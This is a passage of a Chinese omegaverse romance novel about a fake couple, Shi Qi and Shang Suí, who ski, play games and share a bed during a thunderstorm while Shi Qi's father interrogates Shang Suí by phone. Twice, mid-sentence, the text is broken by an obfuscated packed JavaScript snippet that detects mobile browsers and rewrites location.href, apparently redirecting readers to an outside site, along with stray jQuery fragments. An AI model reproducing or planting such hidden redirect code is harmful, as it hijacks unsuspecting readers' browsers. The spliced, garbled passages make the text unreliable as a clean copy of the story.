时绮摘下护目镜,想到什么,从口袋里掏出金色的双十字项链:“你的项链,之前谢谢。” 商随没有立即接过:“你拿着也行。” 这么贵重的东西放他这实在不合适。时绮摇摇头,将项链放回他手里。 想到刚才那一系列动作,时绮问:“你经常滑雪吗?” “上大学的时候有个朋友很喜欢户外运动,跟着学了点。” 时绮越来越觉得,自己对他了解甚少。 商随家里人做什么工作、自身又有什么样的经历,他几乎完全不知晓。 “听秦书赫说,你本硕都是在国外读的?” 商随点了点头。 时绮还想问更多,秦书赫在这时经过他们身边,欠欠地丢下一句:“怎么就停了呢皇上,您不会才开始就不行吧——” 秦书赫自己滑得不怎么样,挑衅人的本事一流。 时绮啧了一声,顿时被吸引注意,把护目镜往下一压就要去追他。 按理说来,时绮连着滑一天都不会太过疲惫。但受到才过去的发情期影响,没一会儿他就感觉身体发软,逐渐力不从心。 休息的时候,时绮摘掉护目镜,身上流了不少汗。 “宝宝怎么回事?今天才坚持这么点时间。”林言给他递水,调侃道,“你不是单板小王子吗?” “小绮昨晚跟男朋友过的吧,都没下来泡温泉。”林言旁边还有个Omega,姓苏,也是林言之前送阻隔剂大礼包的对象。 苏昼说:“我看你后面还有咬痕呢,是不是很累?” 这边聚集的都是Omega和Beta,没有Alpha在场,大家说话都比较奔放。 所有人竖起八卦的小耳朵,目露期待看向时绮。 有了昨晚的惨烈教训,时绮心一横,誓要守护商随的声誉。 他压下心里那点儿不好意思,努力回想自己看过的污言秽语,高深莫测道: “对,其实我现在腿还是软的……但不是因为滑雪。” 大家纷纷露出明白的神色。苏昼男朋友也是Alpha,闻言嘿嘿笑了一下:“我懂的。” 林言心想时绮还挺能编,苏昼道:“小绮男朋友一看就很厉害,我看他们滑了一上午,他一点儿都不累的。” 时绮点点头,准备附和两句。林言突然看见有人走过来:“时绮——” 时绮给了他一个眼神,表示一码归一码,就算是假情侣也要在背后维护彼此的形象:“对,商随特别猛!我昨晚都下不了床,嗓子都叫哑了。” 林言:“……呃,我是想说,商随过来了。” 时绮犹如被切断电源的小机器人,大脑瞬间当机。 他安静了整整半分钟,而后机械地、缓慢地转过身。 某位被他说特别猛的Alpha摘下护目镜,挑了一下眉,意味不明的目光若有实质,显然听见了他在背后造黄谣。 时绮:“…………” 时绮真想找条地缝钻进去。 20.玩笑 在背后造谣是一回事,被本人听见则是另一回事。 林言不忍直视地捂住眼睛,又从指缝里偷看。商随脸上带着若有若无的笑意,跟没事人似的。 林言在这一刻无比佩服他,心说哥们儿真是沉得住气。 商随开口:“小绮。” 时绮立即应声:“在!” 商随微怔,没想到他反应如此机械,再看时绮脸红得仿佛滴血,估计已经彻底失去思考能力。 “我先把他带走了。” 商随对大家礼貌地笑笑。一时之间,其他人纷纷点头,既希望这样尴尬又刺激的场面赶紧结束,又忍不住继续看热闹。 时绮仿佛被下达了一个新的指令,听见商随说要离开,想将滑雪鞋脱下来,手指却使不上劲,试了好几次都没成功解开鞋扣。 “我帮你脱吧。” “……”时绮只会点头,“好。” 身材高大的Alpha在Omega面前蹲下来,灵活的手指逐一解开绑带和鞋扣。 商随和时绮体型差距很大,天然带着压迫感,即使是服务一样的动作,也像野性难驯的狼用爪子按住了毛茸茸的小动物。 大家鬼使神差不发一语,全部屏息凝神。 时绮伸出手,想自己取滑雪鞋,商随却单手握住他的膝盖弯,先一步替他将滑雪鞋拽了下来。 时绮的小腿肚绷得紧紧的,被捏过的地方传来一阵酥麻。 “好了,”商随起身,“走吧。” 时绮从长椅下抽出自己的运动鞋,穿上以后,亦步亦趋跟着他。 等他们离开后,苏昼单纯地感慨:“小绮和他男朋友感情真好。” 旁边有人兴奋道:“脸都给我看热了,难怪那么过火呢!他俩一看就能从床头搞到床尾。” 林言:“……” 林言:“哈哈,是的,你们说得对。” 见大家都对时绮的黄谣深信不疑,林言在心里悲凉地想,这下时绮替商随挡一颗子弹可能不够了。 至少得挡两颗。 走到自动售贩机前,商随停下脚步:“喝水吗?” 刚才林言给他递水,时绮还没来得及喝,就为了维护商随的清誉把水放到一旁。现在的确十分口渴。 时绮嗯了一声,看见商随转身操作自动售贩机,心里七上八下。 这件事就这么自然而然揭过了? 这样也好,毕竟多提一秒就多一分尴尬。 商随买了时绮喜欢的桃子汽水,为了方便补充能量,又多买了一瓶没有味道的电解质水。 将两瓶水一起递给时绮时,他毫无预兆道:“张嘴我看看。” 时绮正要伸手去接:“看什么?” “嗓子是不是真的叫哑了。” “……” 时绮没想到他买水是为了突然发难,手一滑,汽水罐直接飞出去。 商随准确地接住汽水罐,语气十分轻浮:“你不是腿软吗,怎么手也软。” 时绮气得一脚踩在他的脚上:“你明明知道——”什么都没发生! 他踩下去的时候完全出于别扭、还有些许害羞。踩完之后看着雪白球鞋上的黑乎乎的鞋印,时绮静默三秒,又觉得自己是不是太过放肆。 商随却笑了起来:“嗯,知道。” 他俩昨晚都没去泡温泉,自然会被其他人询问在做什么。哪怕是出于争吵状态下的情侣,在发情期只做单纯的临时标记也十分奇怪,要想混过去,确实得说得暧昧些。 就是没想到,时绮描述得这么……放浪形骸。 “如果不说得激烈一点,他们会觉得你有问题,我都是为了维护你的形象。”时绮越说越觉得自己站得住脚,顿时有了底气,反客为主道,“快点谢谢我。” “谢谢你。” 想到时绮一向脸皮薄,说出这种话一定做了不少心理建设,商随柔情蜜意补充:“真是乖宝宝。” “……” 时绮现在已经认定他叫宝宝不怀好意,只觉得他又在嘴贱。 “不过,这就算激烈了?” 想到时绮说的那些话,商随心旌摇曳,冷不丁杀了个回马枪:“你不如说我把你绑起来,不完成标记不准下床——” 时绮身体一热,脑海中竟是浮现出画面,赶紧制止他:“闭嘴吧!你真淫-荡。” 商随被戳中笑点,在他旁边乐不可支。 滑雪结束后,大家自由活动。 大多数人肌肉酸痛、为了放松去泡温泉,还有个别能折腾的跑去爬雪山。时绮困得厉害,婉拒所有娱乐,回去洗完澡倒头就睡。 再醒来时,窗外天色完全暗沉,已然入夜。 时绮看了一眼手机,七点半,弹出的通知提示今晚会有冬季罕见的雷阵雨。 想到白天睡了这么久,夜里估计又要失眠。时绮叹了口气,很快又习以为常地翻身下床。 酒店全域供暖,只用穿单薄的春装。他犹豫片刻,鬼使神差拿起昨晚商随给他的粉色印花卫衣,又套上自己的外套。 到餐厅时林言他们恰好也在。得知顶楼有电竞房,秦书赫迫不及待:“一会儿打游戏吗皇上?好想念你的厄斐琉斯。” 时绮懒洋洋靠着椅子:“考虑一下。” 秦书赫哦了一声,左看右看:“我哥呢,他没跟你一起?” 时绮反问:“怎么,谈个恋爱就要一直黏着?” 初桃嘿嘿一笑:“我看你俩挺黏糊的。” 时绮:“……” 秦书赫旁边的男生对时绮道:“我们之前还讨论过,商老师每天上个班跟走T台似的,搞得隔三差五就有人向他表白。” “原来是因为谈恋爱,要在心上人面前孔雀开屏。” 初桃援护道:“哎哎!怎么说我们皇后呢,这都是吸引皇上的小把戏。” 秦书赫大为赞叹:“原来我哥已然册封为后,真是恩宠有加啊。” 大家嘻嘻哈哈间,只有时绮撇撇嘴,心说你们都想多了。 商随本来就这样,才不是因为他。 正聊着,话题的中心也走进餐厅。 “哥!你也没吃饭呢?”秦书赫热情地招手,“这边这边!” 时绮见商随拉开自己身侧的椅子坐下:“你也回去补觉了?” 商随摇摇头:“画了一会儿画。” 不知道为什么,商随表现得跟平时没有区别,时绮却感觉他心情不太好。 时绮试探性地问:“吃完饭,你跟我们去打游戏吗?” 他说话时抓着筷子,黑色外套的袖口向下滑落,露出里面颜色跳脱的卫衣。 因为衣服太大,时绮的手被粉色的袖口遮住一大截,衬得指尖格外纤细。 “好啊。”商随朝他笑笑,“穿了我的衣服?” “……嗯。”时绮补充道,“懒得找衣服,就顺便穿了。” 餐厅暖气开得很高,吃饭吃到后面,时绮干脆脱掉外套。 “小绮,这件卫衣不是你的吧?” 初桃的目光不自觉被时绮吸引。尽管衣服尺寸不对,他穿粉色却意外合适,看起来又酷又可爱。 她忍不住跟商随提议:“你能不能多给他塞点儿彩色的衣服?看着特别养眼。” “我同意。”林言第一时间附和,“我已经看腻他的黑白配,需要一点奇迹小绮。” 时安和姜宥宁努力多年没能做到的事情,商随却轻而易举做到了。时绮家里要是知道这个,说不定得八抬大轿把商随请回去。 “我也想,不知道他愿不愿意。” 迎着商随笑盈盈的目光,听见周围人的撺掇,有一瞬间,好像他们真的是一对亲密无间、会交换衣服的情侣。 在外人面前要给假男友面子,时绮最后低声道:“随你。” - 因为商随说自己不常玩游戏,时绮最终没去打LOL。 他不顾秦书赫的惨叫,和商随一起坐在游戏机前。准备找一款休闲类的双人游戏。 挑来挑去,时绮选中了经典的《双人成行》。这款游戏操作难度不高、画面也漂亮。新手比较好上手。 他正在教商随怎么用手柄,秦书赫和林言也在他们旁边开了一桌坐下,同样选择了《双人成行》。 时绮抬头问:“你俩是学人精?” 林言今晚突然找到了调戏时绮的乐趣,心想难怪商随那么喜欢逗他:“怎么了?只准你跟你男朋友玩,不准我和秦书赫坐你们旁边?” 秦书赫还记着自己被时绮无情抛弃:“就是就是!见色忘友。” 商随在旁边笑了笑,像觉得这个场面很有趣。 时绮懒得理他们,只丢下一句行。 游戏开始没多久,时绮便看出来,商随确实没什么经验。 他对各类游戏场景都很陌生,不过他学得很快、遇见危机情况非常冷静,明显在动脑子。这点已经胜过被人追杀只会吱哇乱叫的秦书赫。 时绮一路教他该怎么玩,竟是有了一丝成就感。 见商随不知道下一步该做什么,时绮提醒:“打里面的靶子,门就能开。” “好啊,老公。”商随操纵着屏幕上的角色,瞄准靶心,“我都听你的。” 时绮差点把手柄扔出去:“谁是你老公?!” 商随无辜地示意屏幕上的两个小人:“你不是吗?” 这两个游戏角色确实是夫妻,还是一对结婚多年、育有一女,却因各种闲杂琐事婚姻即将走到尽头的夫妻。 商随玩的女性角色,时绮玩的男性角色。真要说来,时绮也确实算得上“老公”。 “那换一个,”商随不等时绮反应,占尽口头便宜,“老婆?” 时绮脸一热,思路成功被他带偏:“……我们已经快离婚了!你别这么叫我!” 秦书赫和林言在一旁听见这番对话,感觉耳朵快聋了。 出于某种受虐心理,他俩暂停自己的界面,跑过来围观。 秦书赫看了半天,忍不住道:“不是我说,哥,时绮跟你打游戏跟带妹似的。什么脏活累活都是他在做。” 林言更是一副欣慰的口吻:“这就是和男朋友打游戏吗?我们小绮也懂得体贴人了。” 时绮正想让他俩别多嘴,商随自然而然接受了自己是被带的那个,扭头对时绮道:“哥哥好厉害,对我真好。” “……” 时绮原本正努力躲避追杀他的黄蜂,闻言手指一僵,操作的人物猝不及防被杀死,屏幕成了黑白。 这游戏通关需要至少一个人存活,商随已经死了,又得从存档点重来。 时绮在心里啧了一声,别扭地问:“你干嘛这么叫我。” 商随明明比他大三岁。 撒什么娇呢,不像话,真以为自己年纪很小? …… 不过刚才有点儿没听清,商随能不能再叫一声。 “不能叫吗?”商随以目示意不远处,表示自己有在好好假扮情侣,“我看他们都这么叫。” 时绮顺势看过去,苏昼正和他男朋友双排,一口一个哥哥好棒,生动形象诠释商随的说辞。 时绮:“人家苏昼本来就比男朋友小,就该叫哥哥。” 商随:“那我……” 时绮勉强地说:“但你要是特别想叫,也不是不行。” 商随从善如流:“好哦,哥哥。” 时绮这回记得好好握紧手柄,没再出意外。 不知道时绮受了什么刺激,接下来操作过程中火力全开,凭一己之力把“双人成行”玩成了“单人成行”。除了必须出力的时候,商随基本只负责躺。 秦书赫和林言目瞪口呆,没想到时绮对一句哥哥如此受用。越看越觉得商随像狐狸精转世,在时绮耳边念迷魂咒。 林言眨巴眨巴眼睛,突然对秦书赫道:“哥哥~一会儿可以你打BOSS,我在旁边躺吗?我保证不死。” 秦书赫同他一唱一和:“还可以保证不死啊,我们宝宝比小绮哥哥家的宝宝厉害多了~” 时绮回过头,用目光将他俩从头扫射到尾,凉飕飕笑了一下: “你俩有完没完?” 眼看时绮真的被惹毛,林言和秦书赫赶紧溜走。 转回来时,商随在旁边忍笑。 时绮:“……还有你!复活了赶紧干活!” 商随边笑边道:“好,别生气。” 时绮:“……” 时绮:“算了,你复活找个地方躲起来,尽量别死。” 时绮在一声声哥哥中迷失了自我,带着商随一路过五关斩六将。最后下机前,商随体验极佳,半真半假道:“想跟哥哥玩一辈子游戏。” 时绮原本想说就你那儿童起步的水平,跟你玩一辈子实在恐怖。最后却改了口,看似勉为其难:“嗯,行吧。” 商随还想说什么,手机在这时震了震。 他不喜欢各类提示音,平常都开的静音。看见来电显示上的备注,商随起身对时绮道:“我去接个电话。” 几乎是刚按下接听,虞晚担忧的声音就从那头传来: “小随,我才看见天气预报,今晚有雷阵雨。” “你要不要回来过夜?我跟你爸爸不在,但家里至少还有阿姨。” “或者我找人把十二送过来,让它陪你。” 十二是家里养的萨摩耶,性格活泼、很通人性。 因为那段过去,商随不喜欢雷雨天。准确来说……他对此十分厌恶。 “我在小重山。” 虞晚一愣:“小重山?那边下雨吗? ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14986640|158502||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' ” “下。”商随同样看过天气预报,“没事,您别担心。” “你一个人?还是和小砚他们?” 易感期、雷雨天……每到这类情景,虞晚就会无比紧张,唯恐外界再一次对他造成伤害。 偶尔商随会觉得,和他相比,虞晚更像走不出过去的那一个。 明明和他爸在国外度假,还要时刻操心他的事情。 “跟其他朋友。”商随自然地说,“您忘了吗?已经过去很多年,我一个人度过了很多个雷雨天。” “……” 他本意是想让虞晚不要太过担忧,不料她却更为愧疚,甚至不知道该对他说什么。 “我没事。”他重复一遍,想到什么,朝来时的方向看去,“而且,今晚可能不是一个人。” 时绮闲来无事,正在翻平台上的其他游戏,深灰色的猫眼大而明亮,如同盛满碎星。 每当他遇见感兴趣的事物,就会露出这样的神情。 “什么?”虞晚迟疑地问。 “旁边有一只很可爱的小猫。”商随边说,边垂下眼,“运气好的话,可以找猫陪陪我。” 趁着商随打电话,时绮翻了一遍游戏排行榜。 当前最热门的是一款校园背景的恐怖游戏,制作十分精良,音画交融、相得益彰。 时绮正在看简介,秦书赫忽然凑了过来。 “我玩过这鬼游戏。”想起当时的血汗泪,秦书赫条件反射露出牙酸的表情,“游戏背景为了过审改成了学校,但据说原型是十年前的一桩连环杀人案。” 因为上次游乐场的意外,时绮被科普了不少特殊易感期的知识,自然也看见过这桩名震一时的案件:“那个特殊易感期的Alpha伪装成Beta的杀人案吗?” “对,”秦书赫道,“BOSS就是凶手,他可以精神操控玩家。第一次被他控制自杀时我都惊呆了。” “就算有原型,现实中我也没听说哪个特殊易感期的Alpha可以精神操控别人啊,又不是奇幻小说。估计这部分是制作组自己发挥的吧。” 秦书赫噼里啪啦道:“BOSS的精神操控能力与信息素有关。我死了无数次后搜索攻略,才知道如果想通关,玩家一开始性别必须选Beta。受到的影响才能最小……啊,哥,你回来了。” 时绮抬头,商随不知何时打完电话,沉默地站在他们身边。 时间接近凌晨,大家都在陆陆续续下机,初桃在远处抬手伸了个懒腰。 时绮问:“我们回去吧?” 商随扫了一眼屏幕,答应下来。 秦书赫的房间就在时绮隔壁。在电梯里,秦书赫忽然想到什么:“你俩现在算和好了?早知道今晚可以只开一个房间。” 不成想,时绮和商随都没接话。 秦书赫奇怪地看向他们,心想这两人嘻嘻哈哈了一整天,晚上难道还要分开? 时绮率先打破沉默:“和好了。” 商随像是得到提示,这才配合地应声:“嗯,今晚住一起。” 秦书赫松了口气:“我就说,我还以为刚才说错了话。” 有了这一出,他俩不得不一同进了时绮的房间。 总感觉他跟商随这样演戏很奇怪,弄得跟见不得人似的。时绮摇摇头,甩掉这个想法,估计时间差不多:“应该可以了。” 他不太自在地补充:“你回去小心,别被人看见。” 却没想到,商随忽然将头靠在他的肩膀上:“我不想走。” “天气预报说有雷阵雨,一个人睡觉好害怕。”商随蹭蹭他的肩膀,撒娇一样道,“想和哥哥一起睡。” 因为个子太高,他做这种动作需要弯起背,比起被商随依靠,时绮更像整个被他压在怀里。 时绮猝不及防:“?” 这又是在闹哪出? 商随很快抬头朝他笑笑,眸光格外朦胧。 他的眼神令时绮联想到刚结束的游戏里,有一幕画面是夜海中漂浮的水母群,荧光闪烁、明灭不定。 在这样难以描绘的神情中,玩笑话无端多了几分真实。商随轻声问:“可以吗?” 时绮的心脏仿佛被攥了一下。 直觉告诉他,商随没有说谎。 看似不着调的言语下潜藏真心。商随真的不喜欢雷雨天。 难怪…… 时绮突然反应过来。 难怪刚来餐厅时,商随看起来心情不好。 时绮毫不怀疑,如果他开口拒绝,对方会将这个话题若无其事揭过,没事人一样走出他的房间。 商随一定能表现得不着痕迹,让人相信这一切只是和打游戏时一样的玩笑。 因为毫无察觉,他从头到尾不会尴尬、也不会有任何为难。 那商随自己呢? 为什么要这么小心翼翼,考虑再三? 明明不是畏首畏尾的个性,有时候展现出来的性格甚至相当强势,但商随似乎总是有所顾虑,不敢轻易跨过界限。 就好像……商随曾经被他拒绝过,以至于习惯性将自己摆在会被放弃的位置。 见时绮不说话,商随收起刚才可怜兮兮的神色。如时绮预想中一样若无其事:“开玩笑的,那我回去了。” 他其实没报太大希望,毕竟害怕雷雨天听起来就像在扯淡。 他都二十多岁了,又不是小孩子。 况且他们一个Alpha、一个Omega,如果不是出于特殊理由,确实不适合睡在一起。 若不是虞晚那通电话,他都没打算开这个口。 道理他都明白,心里却涌起丝丝难以遏制、不该存在的失落。 明明以前……时绮是会陪他的。 时绮却在这时道:“你留下。” 比起答复,时绮的口吻非常直接,就像他才是提出要求的那个。 商随愣了愣:“……真的?” 时绮嗯了一声:“你睡相最好别太差。” “我睡相很好的。”他答得很快,唇角不知不觉翘起,“那我回去拿一下睡衣。” 时绮忽然抓住他的手:“等一下。” 商随背对他停下脚步,在心里希望时绮不是突然后悔了。 “如果你不喜欢雷雨天一个人睡觉,可以直说,不用替我考虑得这么周到。” 见他一下子转过身,时绮稍微加重力气,紧紧拉住他的手。 他第一次看见商随这副样子。 似乎没想过自己的顾虑会被看穿,商随略微睁大眼睛,和平时游刃有余的模样相比,几乎有些呆滞。 时绮莫名觉得他现在有几分可爱,眼中不自觉带上笑意,认真地说:“我不会因为这种事情为难。” “你需要的时候,我也不会拒绝你。” 21.相拥而眠 商随回去拿睡衣,顺便洗漱。时绮在房间等候。 他玩了一会儿手机,很快发现自己根本集中不了注意力,屏幕上的字符一个都没入眼。 刚才说出口时没觉得有什么问题,现在一个人待着,时绮不由自主看向床铺。 和商随一起睡觉…… 初桃给他订的单人间,尽管床很大,却只有一床被子。 可如果叫商随再抱一床被子过来,不仅很麻烦,还显得十分刻意。 睡一个被窝也没事吧。 时绮在心里宽慰。 他还跟林言睡过呢,高中有段时间林言迷上了在宿舍看恐怖片,吓得每晚都来爬他的床。 他俩天天挤在宿舍的小床上,当时正好是夏天,时绮心浮气躁,却也没法把瑟瑟发抖的林言踹下去。 也是因为挤在一起睡,林言发现时绮的失眠比想象中还要严重。经常是他入眠之后,时绮还在旁边一动不动发呆。 林言看他实在辛苦,有天晚上忍不住提议:“你要不要找个男朋友?” 时绮百无聊赖盯着天花板:“为什么?” “我听说Omega和高匹配度的Alpha在一起,睡觉能睡得很香。” 一想到身边躺着一个硬邦邦的Alpha,时绮面露嫌弃:“不要,Alpha没一个好闻的。” 学校里一半学生是Beta,剩下三成是Alpha,Omega最为稀少。 因为时绮漂亮,经常走着走着就有Alpha往他身上释放信息素,仿佛一不小心就会炸开的水弹。 一旦时绮冷下脸,那些找事的Alpha反而会更兴奋,甚至会冲他吹口哨。每当这时林言都心惊胆战,生怕他上去揍人。 时绮想到什么:“而且匹配度高有什么用,傅思越那么臭。还不如你一半好闻。” “那可不,我本来就好闻。”林言的信息素是无花果,时绮还挺喜欢闻的,“傅思越就算了,他的倒霉信息素比较特殊……你喜欢什么类型的味道?” “喜欢甜的。” “那你完蛋了宝宝。”林言怜悯道,“信息素偏甜的Alpha本来就少,同时要兼顾长得好看、会哄人,这种生物在世界上大概率已经灭绝。” “……” 正是在这时,有人敲门。 时绮收起乱七八糟的思绪,踩着拖鞋应声道:“来了。” 商随站在门外,他将头发半扎在脑后,看起来还没吹干,才洗完就过来了。 想到林言的话,时绮在心里默默反驳。 这不还有一个吗,也没彻底灭绝吧。 或许是因为刚才脑海中闪过的回忆,时绮下意识动了动鼻子。 面前的Alpha将信息素收得好好的,身上只有洗发水和沐浴露的鸢尾香。 商随见他杵在门口不动:“怎么了?” “没事。”时绮回过神,不好意思说出自己的小心思,“你进来吧,我先去洗澡。” 或许晚点儿能跟商随提一下,睡觉的时候释放一些信息素? 万一真的有用呢?他都多少年没睡过好觉了。 抱着这样的想法,时绮快速洗完澡。在他换睡衣时手机忽然响起。 按下接听后,时安的声音从那头传来:“在干什么呢,宝宝。” 时绮边擦头发边回答:“刚洗完澡。” “你一个人?”时安看似不经意,“这么晚了,你没跟你男朋友在一起?” 他一直对时绮突然冒出来的男朋友半信半疑。如果不是高得惊人的匹配度,时安都忍不住怀疑对方是时绮临时雇来的演员。 但昨天那个咬痕又格外真实,不像是演出来的。想来想去,时安决定突击检查。 时绮拉开浴室门:“他在外面。” “在打电话吗?” 商随换了睡衣,刚吹完头发,正闲闲地坐在沙发上玩手机,听见动静抬起头。 酒店的沙发对时绮来说大小合适,商随坐起来却略显局促,长长的腿有些无从搁置。 时安听见陌生的男声,终于确信时绮可能真的谈了恋爱。 沉默片刻后,时安忽然道:“方便的话,我想跟你男朋友说两句话。” 时绮迟疑片刻,看向商随:“我爸爸想跟你说话。他比较容易大惊小怪,你不想就算了。” “胡说什么呢宝宝?”时安语气温柔,却透出一股威胁的意味。 商随伸出手:“没事,给我吧。” 一想到商随连打雷都怕,时绮更是觉得不能让他一个人面对时安。 “我开了免提。”时绮转而把手机放在茶几上,自己守在一旁,对时安说,“我在旁边听,您不要欺负人。” “……” 时安一怒之下暂时关掉手机麦克风,抓住身边的姜礼:“我很吓人吗?” 姜礼被他死死掐着胳膊,微笑道:“怎么会呢!……那个,亲爱的,你抓得我有点痛。” 时安平复好心绪,重新打开麦:“你好,我是小绮的爸爸。你叫什么名字呢?” “您好,我叫商随。” “小商是吧,你们今晚要一起睡?” 商随应了一声:“小绮才过发情期,今晚睡一起,他应该会舒服一些。” 时安听懂了他的潜台词。 因为时绮才过发情期,这个拐跑他儿子的Alpha不会做什么,只是单纯的睡觉。 这话说得还算有分寸,但一想到时绮脖颈上的临时标记,时安蹙起眉。 “听小绮说,你昨晚帮他做了临时标记?”时安话里有话,“你咬得有些太深了。” 标记做得太深,Omega会有些许窒息的感受,长期下来甚至可能对这种感觉上瘾,既是情趣,某种程度上也算轻微的调教手段。 这种烙印一样的行为令时安格外不满,只觉得时绮找的Alpha占有欲未免太强了些。偏偏时绮还傻傻地对着咬痕拍照片,什么都不知道。 “不好意思,”商随温声回答,“我下次注意。” 时绮听不下去,抢过电话:“您干嘛怪他?都是我让他咬的,我就喜欢深的。” 时绮胳膊肘向外拐太明显,时安不知道这孩子究竟被灌了什么迷魂汤,一气之下,又一次用力掐姜礼的胳膊。 姜礼只能忍痛道:“这也是小绮的选择,你不要太着急……要不咱们稍微掐轻点?你别累着自己。” 时安发泄过后平静了些。想起上次询问他俩是多久认识、却被姜宥宁打断,时安又一次道:“听小绮说,你们以前就认识?” 时绮一愣,不由得和商随对视一眼。 糟了,还没来得及编剧本。 一时间没人接话,就在时绮准备在手机上搜索“情侣初遇怎么编”的时候,商随轻轻应了一声。 “我们第一次见面是盛夏天。我那时……算是在度假吧,在山里住了一段时间。” “父母比较忙,只有我一个人,还有一些家里安排的保镖。” “小绮走错了路,跑进楼下的花园。因为年纪小,无尽夏花田里有一条很窄的道,保镖没有第一时间发现他。” 嗯? 时绮愣了一下。 这种住在森林和花海里,既像电影场景又像童话故事的剧本,是不是有点儿太夸张了? 可伴随商随的描述,眼前却逐渐浮现出盛放的无尽夏花田,鼻尖仿佛嗅到植物被晒热后洋溢的香气,就好似他真的走过那条灿若云霞的花间小径。 “我当时在阳台上画画。” “因为楼下的保镖,小绮以为……我是被关在那里的。” 商随说到这里,不动声色观察时绮的反应。 似乎觉得他的故事编得很不错,时绮面露赞许,冲他竖起拇指。 商随:“……” 商随在心里叹了口气,说不出是什么滋味。 有的时候,他希望时绮能够想起过去,因为对他而言,那段只剩他一个人知晓的回忆有着极为珍贵的意义。 但与此同时,他又矛盾地希望时绮彻底忘记。 或许珍贵只是他一厢情愿,时绮不记得未尝不是好事。 商随平复好心情,继续道:“小绮从窗台翻了上来,我们说了第一句话。” [——你一个人在做什么?] 他当时沉浸在绘画里,没注意到有人无声无息落在身畔,听见声音才一下子转过头。 黑发灰眸的少年充满好奇看着他,精致的五官带着未褪去的稚气。 大概经常翻窗翻墙,时绮做这些格外熟练,就像突然经过窗台的猫。 时安听到这里,终于开口道:“原来是这样,我知道了。” “时间不早,你们早点休息。” 时安稍微停顿,最后意有所指:“有机会的话,希望能和你见一面。” “好的,我也一样。”商随回答,“您早些休息。” 挂掉电话后,时安和姜礼都没说话。 隔了一小会儿,时安率先问:“你觉得商随怎么样?” “进退有度,不卑不亢。”姜礼被时安掐怕了,回答得十分谨慎,“听他的描述,他家世应该很不错。” 时安和姜礼的关注点截然不同:“我不是指这个。” “之前怀疑他是小绮为了应付催婚找的演员,现在看来,小绮确实可能喜欢上他。” 姜礼没想到时安变化如此之快:“为什么这么说?” 提起时绮小时候,时安眼神变得柔软:“他以前不是很喜欢童话故事吗?虽然跟商随初见时长大了一点儿,已经不再是相信童话的年纪……但时绮就是这样,喜欢的东西永远都不会变。” “如果是那种自大狂妄的Alpha,他会把人一脚踹开。” “但要是换作漂亮又可怜的类型,他会想拯救人家的。” 夏日、花海、家里安排的保镖,看起来像是被关在高塔上,孤零零画画的陌生人。 “听商随的描述,对时绮来说,他简直就像是量身定制的……”说“陷阱”多少包含偏见,时安选了个折中的说法,“就像满足一切幻想的存在。” 如同应和时安的话,时绮都没注意到电话已经挂掉,不自觉流露出入迷的神色:“然后呢?你还挺会编的。” 见他真的把一切当成了故事,听得津津有味,商随心情微妙。 他不想再提这些事情,淡淡地说:“下次再编。” “……” 饶是意犹未尽,想到商随临时发挥成这样已经很不容易,时绮没再缠着他继续讲故事。 窗外倏忽传来沉闷的雷鸣。 第一滴雨点在玻璃上绽开,而后便是一阵急促的声响,暴雨如注,与撕裂夜空的闪电一同倾泻而下。 时绮看向商随。这场冬季罕见的雷雨令周遭有一瞬间成为黑白,变化的光影从Alpha没什么表情的脸上掠过,耳畔压抑的雷声犹如剧烈敲击的桴鼓。 时绮迟疑地问:“你还好吗,要不要我安慰你?” 商随看着他,点了点头。 时绮没想到他还真的需要安慰,一时之间,根本不知道该做什么。 要不让商随把耳朵捂住? 或者戴个降噪耳机? 时绮绞尽脑汁,突然想起小时候时安安慰他的办法,决定也给商随编个故事:“你试试这样想?其实下暴雨的时候是大自然在跳舞,闪电是灯光、雷电是鼓声——” 说到一半,时绮也觉得这办法十分幼稚,一看商随的反应更是扯不下去:“你那是什么表情,你真的害怕吗?” 他不问还好,一问商随彻底绷不住,情不自禁笑了一声。 时绮:“……” 靠, ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|15004771|158502||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 这人好欠揍。 似乎也知道自己这样不好,商随边笑边解释:“我没有嘲笑你,我是觉得你这样好可爱……!” 看他笑得眼泪都快出来了,时绮收起一切同情心,转身往床边走:“你自己睡沙发吧。” “别,沙发睡不下。我真的不喜欢雷雨天。”商随终于止住笑,眸光盈盈道,“谢谢小绮,我很少被这样哄。” 时绮没有说话,脚步却停了下来。 难道商随家里人不哄他吗? 但仔细想想,时安的确一直把他和姜宥宁当小孩子。在姜宥宁有一天提出“爸爸我都是分化过的Alpha了,您不要动不动就摸我的头”,时安答应过后伤心不已,逮着当时还没长大的时绮一通狂撸。 说不定商随从小要独立很多? 想到这里,时绮又心软下来。 他踢掉拖鞋上了床,拍拍自己身边的位置:“过来。” 商随依言走到床边,忽然想到什么:“我是不是该说谢主隆恩?” 不等时绮开口,商随朝他一笑,天生含情的眼眸温柔似水:“多谢皇上垂怜,给我侍寝的机会。” “……你再这样演戏,我会把你踢下去。” 商随见好就收:“那我关灯了?” “嗯。”时绮一边答应,一边慢慢缩进被子里,“关吧。” 啪嗒—— 房间暗了下来,只余窗外的雷鸣和闪电。 Alpha的重量令床铺微微下压,明明上一秒还在相互开玩笑,可当商随上了床,时绮感到一种难以言喻的压力。 他默不作声往另一侧挪了挪、又挪了挪。 “床就这么大,”黑暗的房间内突然响起一道清晰的声音,“你再往那边缩,不怕掉下去?” 时绮被这一句话钉在原地。 或许是三番两次受商随刺激,时绮突然来了脾气。 这是他的床,要下去也是商随下去。 